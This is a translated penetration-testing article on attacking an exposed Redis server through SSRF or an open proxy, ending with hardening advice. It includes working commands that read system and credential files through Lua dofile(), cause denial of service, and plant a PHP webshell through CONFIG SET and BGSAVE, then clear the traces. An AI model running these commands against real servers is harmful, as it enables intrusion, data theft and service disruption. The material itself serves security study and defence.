Trying to hack Redis via HTTP requests

wyzsk發表於2020-08-19
作者: 我是壯丁 · 2014/09/23 18:54

0x00 寫在前面的話


文章是翻譯過來的,翻譯過程中做了一些修改,新增了些東西。有興趣的直接可以看原文,原文的連結接在文章的最底部。

0x01 情景


我們假設存在一個SSRF漏洞或者配置不當的代理伺服器,使攻擊者可以透過HTTP請求直接訪問Redis服務。在上面假設的兩種情況中,要求我們對於HTTP的訪問請求至少有一行是完全可控的,這種完全可控是很容易實現的。但是,命令列的客戶端(redis-cli)是不支援HTTP代理的,而且我們需要構造出自己的命令。這些構造好的語句,封裝在HTTP請求中,透過代理進行傳送。以下所有的測試都是在redis 2.6.0版本中,雖然不是最新版,但是我們的要攻擊的目標使用的就是這個版本......

0x02 Redis簡介


Redis是一個NoSQL的資料庫(NoSQl泛指非關係型的資料庫,常用的mysql是關係型資料庫),資料透過鍵/值對儲存在記憶體中。預設配置中,在服務執行的時候,會開放一個沒有驗證的TCP/6379埠,提供的這個介面是很“寬容”。它會嘗試去解析處理每一次輸入(直到超時或者輸入’QUIT’命令退出),對於那些不存在的命令,則會顯示像"-ERR unknown command"這樣的輸出。

0x03 目標識別


當我們利用SSRF漏洞或者配置不當的代理伺服器進行進一步滲透時,第一步通常是掃描已知的服務。作為一個攻擊者,得知這個服務只在本地迴環介面上進行了埠監聽,使用了基於來源的驗證或者認為這種保護方式風險很小,因為這個是外部不能訪問的。 在測試過程中,看到以下日誌會令人亢奮:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

正如你所看到的,這個輸出證明了HTTP的GET請求方法,在redis中作為一個有效的命令執行了,但是沒有給這個命令提供正確的引數。其他的HTTP請求的沒有匹配到Redis命令,出現了很多”unknown command”的錯誤資訊。

0x04 基本互動


在上面構造的場景中,發出去的HTTP請求是幾乎完全可控的,同時請求是透過Squid代理傳送的。 這包含以下兩個方面

1)構造的HTTP請求必須是有效的,這樣才能透過squid代理去處理請求 2)到達Redis資料庫的請求,是透過代理傳送的 更簡單的方法是使用POST來提交資料,但是注入HTTP頭部的也是一個不錯的選擇。現在,來輸入一些基礎的命令(藍色標記的是輸入的命令)

ECHO HELLO
$5
HELLO

TIME
*2
$10
1410273409
$6
380112

CONFIG GET pidfile
*2
$7
pidfile
$18
/var/run/redis.pid

SET my_key my_value
+OK

GET my_key
$8
my_value

QUIT
+OK

0x05 突破空格的限制


正如你所注意到的,伺服器會返回特定的資料,再加上像”*2”或者”$7”這種的字元,這是根據Redis協議對二進位制資料安全的規定返回的資料,如果你要使用包含空格的引數,則必須使用這個規則。

例如,命令SET設定key 為“foo bar”無論是否使用單雙引號,都是不會成功的。幸運的是,Redis協議關於二進位制安全的一些規定是很簡單的:

--每一行都要使用分隔符(CRLF)
--一條命令用”*”開始,同時用數字作為引數,需要分隔符(“*1”+ CRLF)
--我們有多個引數時:
-字元:以”$”開頭+字元的長度("$4"+CRLF)+字串(“TIME”+CRLF)
-整數:以”:”開頭+整數的ASCII碼(“:42”+CRLF)

以上就是所有規則

舉一個例子: 對於設定”I am boring”的key為”with_space”,使用redis-cli的設定很簡單,一眼就能看懂

$ redis-cli -h 127.0.0.1 -p 6379 set with_space 'I am boring'
+OK

接下來我們套用規則來設定這條命令 *3是set命令的代表 然後根據多個引數時的字串表示式來構造set with_space I am boring這個命令,上面這條命令等價與後面的這條命令

$ echo -e  '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 127.0.0.1 6379 
+OK

0x06 資訊收集


經過前面的鋪墊,我們可以很好的和伺服器進行互動獲取我們想要的資訊。Redis的一些命令是很有用的,例如”INFO”和”CONFIG GET (dir|dbfilename|logfile|pidfile)"。這裡就把測試機器上的執行"INFO"的輸出貼出來

# Server
redis_version:2.6.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 3.2.0-61-generic-pae i686
arch_bits:32
multiplexing_api:epoll
gcc_version:4.6.3
process_id:19114
run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25
tcp_port:6379
uptime_in_seconds:9806
uptime_in_days:0
lru_clock:518932

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:1
blocked_clients:0

# Memory
used_memory:661768
[...]

下一步當然是進軍檔案系統,Redis可以執行Lua指令碼(在沙箱中)透過”EVAL”命令。沙箱允許dofile()命令。這條命令能夠檢視檔案和列目錄。因為Redis沒有特殊的許可權,所以請求/etc/shadow時會顯示一個”permission denied”的錯誤資訊(與執行redis服務的使用者的許可權有關)

EVAL “ return dofile('/etc/passwd')” 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':' 

EVAL “return dofile('/etc/shadow')” 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied

EVAL “return dofile('/var/www/') ” 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory

EVAL “return dofile('/var/www/tmp_upload/') ”0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory

EVAL “return dofile('/home/ubuntu/.bashrc')” 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

如果Lua指令碼有語法錯誤或者嘗試設定全域性變數時,會產生報錯資訊,可以獲得一些我們想要的資訊

EVAL “return dofile('/etc/issue')” 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'

EVAL “return dofile('/etc/lsb-release')” 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL “return dofile('/etc/hosts')” 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'

還有一種情況,但是並不是很常見,就是呼叫dofile()這個函式去處理有效的Lua檔案,然後返回提前定義好的值,假設這裡有一個檔案/var/data/app/db.conf

db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}

透過Lua指令碼得到passwd的值

EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0 
+OK Uber31337

這個也可以獲取Unix標準檔案的一些資訊:

EVAL “dofile('/etc/environment');return(PATH);” 0       
+OK     /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
+OK /usr/bin/nano

0x07 暴力破解


Redis提供一個redis.sha1hex()函式,可以被Lua指令碼呼叫,所以還可以透過Redis伺服器進行SHA-1的破解,相關程式碼在adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相關原理的描述在 (http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要翻牆訪問)

0x08 Dos


這裡有很多Dos Redis的方法,例如透過呼叫shutdown這個命令刪除資料。

這裡有更加有趣的兩個例子:

1)在Redis的控制端,呼叫dofile()不加任何引數,將會從標準輸入讀取資料,並把讀取的資料認為是Lua指令碼。這個時候伺服器依舊在執行,但是不會去處理新的連線,直到在控制端讀取到”^D”(或者重啟)。

2)Sha1hex()函式可以被覆蓋(在任何一個客戶端都可以實現這個效果)。下面展示一個返回固定值的sha1hex()函式 Lua指令碼:

print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242') 
end
print(redis.sha1hex('secret'))

在Redis的控制端上

# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242

0x09 資料竊取


如果Redis伺服器儲存一些有趣的資料(像session cookie或商業資料),你可以透過get列舉鍵值,獲取資料。

0x0A 加密


Lua使用完全可以預測的”隨機數”,細節在scripting.c的evalGenericCommand()函式中

/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);

每一次Lua指令碼呼叫math.random()函式產生的隨機數都是相同數字流:

0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

0x0b 遠端命令執行


為了在開放的Redis伺服器上進行命令執行,有以下三種情況: 首先能夠修改底層的位元組碼,能夠進行虛擬機器的逃逸。(Lua的一個例子https://gist.github.com/corsix/6575486);或者是繞過全域性保護並且試圖訪問一些有趣的函式。

繞過全域性保護是很輕鬆的(stackoverflow上有一個例子 http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而這麼有趣的模組並不能載入,順便提一下,在這裡還有很多有趣的東西(http://lua-users.org/wiki/SandBoxes)。

第三種情況相對來說比較容易實現,將一個半控制的檔案匯出到硬碟中,在web的根目錄中,透過備份得到一個webshell或者覆蓋一個shell指令碼。唯一的區別是檔名和payload,匯出的方法都是一樣的,但是應該注意的是儲存日誌檔案的位置在啟動之後是不能修改的。事實上,這個資料庫中的內容會隔一段時間備份到硬碟的,以便於資料恢復,何時備份取決於配置檔案或者BGSAVE命令

以下是常用的幾條命令: -修改備份檔案的位置

CONFIG SET dir /var/www/uploads
CONGIG SET dbfilename sh.php

-把payload插入資料庫

SET payload “could be php or shell or whatever”

-把資料匯出到硬碟

BGSAVE

-清除痕跡

DEL payload
CONFIG SET dir /var/redis
CONGIG SET dbfilename dump.rdb

然而,這裡存在一個致命的問題,Redis對dump出來的資料設定的是”0600”許可權,因此Apache不能讀取。(作者是這麼寫的,元芳你怎麼看?)

0x0C 關於如何發覺公網上的Redis未授權訪問


Redis預設是執行在TCP的6379埠上的,需要進行埠掃描.確定埠是否開放。 同時,Python中有redis這個模組,可以編寫指令碼呼叫埠掃描後的結果,對Redis服務是否可以直接訪問,進行快速判斷。

0x0D 安全配置Redis的一些建議


不要以root使用者執行redis

配置檔案中的安全配置

port 修改redis使用的埠號
bind 設定redis監聽的IP
requirepass 設定redis連線的密碼
rename-command CONFIG ""    #禁用CONFIG命令
rename-command info info2   #重新命名info為info2

源文章: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html 參考: Redis protocol:http://redis.io/topics/protocol Redis 命令參考:http://redis.readthedocs.org/en/latest/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章